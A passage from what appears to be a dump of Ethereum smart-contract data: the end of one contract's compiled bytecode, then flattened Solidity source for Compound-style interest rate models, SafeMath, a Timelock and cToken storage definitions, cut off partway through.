ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582000a0a13151680188337076f01bf3fce6a852e979c9beff28355d317e948b66ef0029
[ 2 ]
0xF3997658374347Aaf6aD33A0721c9abf61E182a6
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMath.sol"; /** * @title Logic for Compound's JumpRateModel Contract V2. * @author Compound (modified by Dharma Labs, refactored by Arr00) * @notice Version 2 modifies Version 1 by enabling updateable parameters. */ abstract contract BaseJumpRateModelV2 { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly */ address public owner; /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) internal { owner = owner_; updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock) * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external virtual { require(msg.sender == owner, "only the owner may call this function."); updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRateInternal(uint cash, uint borrows, uint reserves) internal view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view virtual returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } /** * @notice Internal function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_)); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./BaseJumpRateModelV2.sol"; import "./InterestRateModel.sol"; /** * @title Compound's JumpRateModel Contract V2 for V2 cTokens * @author Arr00 * @notice Supports only for V2 cTokens */ contract JumpRateModelV2 is InterestRateModel, BaseJumpRateModelV2 { /** * @notice Calculates the current borrow rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view override returns (uint) { return getBorrowRateInternal(cash, borrows, reserves); } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view virtual override(InterestRateModel, BaseJumpRateModelV2) returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) BaseJumpRateModelV2(baseRatePerYear,multiplierPerYear,jumpMultiplierPerYear,kink_,owner_) public {} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Compound's InterestRateModel Interface * @author Compound */ abstract contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract * @author Compound */ contract JumpRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view override returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view override returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } fallback() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./JumpRateModelV2.sol"; import "./SafeMath.sol"; /** * @title Compound's DAIInterestRateModel Contract (version 3) * @author Compound (modified by Dharma Labs) * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper. * Version 3 modifies the interest rate model in Version 2 by increasing the initial "gap" or slope of * the model prior to the "kink" from 2% to 4%, and enabling updateable parameters. */ contract DAIInterestRateModelV3 is JumpRateModelV2 { using SafeMath for uint; /** * @notice The additional margin per block separating the base borrow rate from the roof. */ uint public gapPerBlock; /** * @notice The assumed (1 - reserve factor) used to calculate the minimum borrow rate (reserve factor = 0.05) */ uint public constant assumedOneMinusReserveFactorMantissa = 0.95e18; PotLike pot; JugLike jug; /** * @notice Construct an interest rate model * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param pot_ The address of the Dai pot (where DSR is earned) * @param jug_ The address of the Dai jug (where SF is kept) * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint jumpMultiplierPerYear, uint kink_, address pot_, address jug_, address owner_) JumpRateModelV2(0, 0, jumpMultiplierPerYear, kink_, owner_) public { gapPerBlock = 4e16 / blocksPerYear; pot = PotLike(pot_); jug = JugLike(jug_); poke(); } /** * @notice External function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18). For DAI, this is calculated from DSR and SF. Input not used. * @param gapPerYear The Additional margin per year separating the base borrow rate from the roof. (scaled by 1e18) * @param jumpMultiplierPerYear The jumpMultiplierPerYear after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint gapPerYear, uint jumpMultiplierPerYear, uint kink_) external override { require(msg.sender == owner, "only the owner may call this function."); gapPerBlock = gapPerYear / blocksPerYear; updateJumpRateModelInternal(0, 0, jumpMultiplierPerYear, kink_); poke(); } /** * @notice Calculates the current supply interest rate per block including the Dai savings rate * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view override returns (uint) { uint protocolRate = super.getSupplyRate(cash, borrows, reserves, reserveFactorMantissa); uint underlying = cash.add(borrows).sub(reserves); if (underlying == 0) { return protocolRate; } else { uint cashRate = cash.mul(dsrPerBlock()).div(underlying); return cashRate.add(protocolRate); } } /** * @notice Calculates the Dai savings rate per block * @return The Dai savings rate per block (as a percentage, and scaled by 1e18) */ function dsrPerBlock() public view returns (uint) { return pot .dsr().sub(1e27) // scaled 1e27 aka RAY, and includes an extra "ONE" before subraction .div(1e9) // descale to 1e18 .mul(15); // 15 seconds per block } /** * @notice Resets the baseRate and multiplier per block based on the stability fee and Dai savings rate */ function poke() public { (uint duty, ) = jug.ilks("ETH-A"); uint stabilityFeePerBlock = duty.add(jug.base()).sub(1e27).mul(1e18).div(1e27).mul(15); // We ensure the minimum borrow rate >= DSR / (1 - reserve factor) baseRatePerBlock = dsrPerBlock().mul(1e18).div(assumedOneMinusReserveFactorMantissa); // The roof borrow rate is max(base rate, stability fee) + gap, from which we derive the slope if (baseRatePerBlock < stabilityFeePerBlock) { multiplierPerBlock = stabilityFeePerBlock.sub(baseRatePerBlock).add(gapPerBlock).mul(1e18).div(kink); } else { multiplierPerBlock = gapPerBlock.mul(1e18).div(kink); } emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } /*** Maker Interfaces ***/ abstract contract PotLike { function chi() external virtual view returns (uint); function dsr() external virtual view returns (uint); function rho() external virtual view returns (uint); function pie(address) external virtual view returns (uint); function drip() external virtual returns (uint); function join(uint) external virtual; function exit(uint) external virtual; } contract JugLike { // --- Data --- struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; uint256 public base; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } abstract contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event 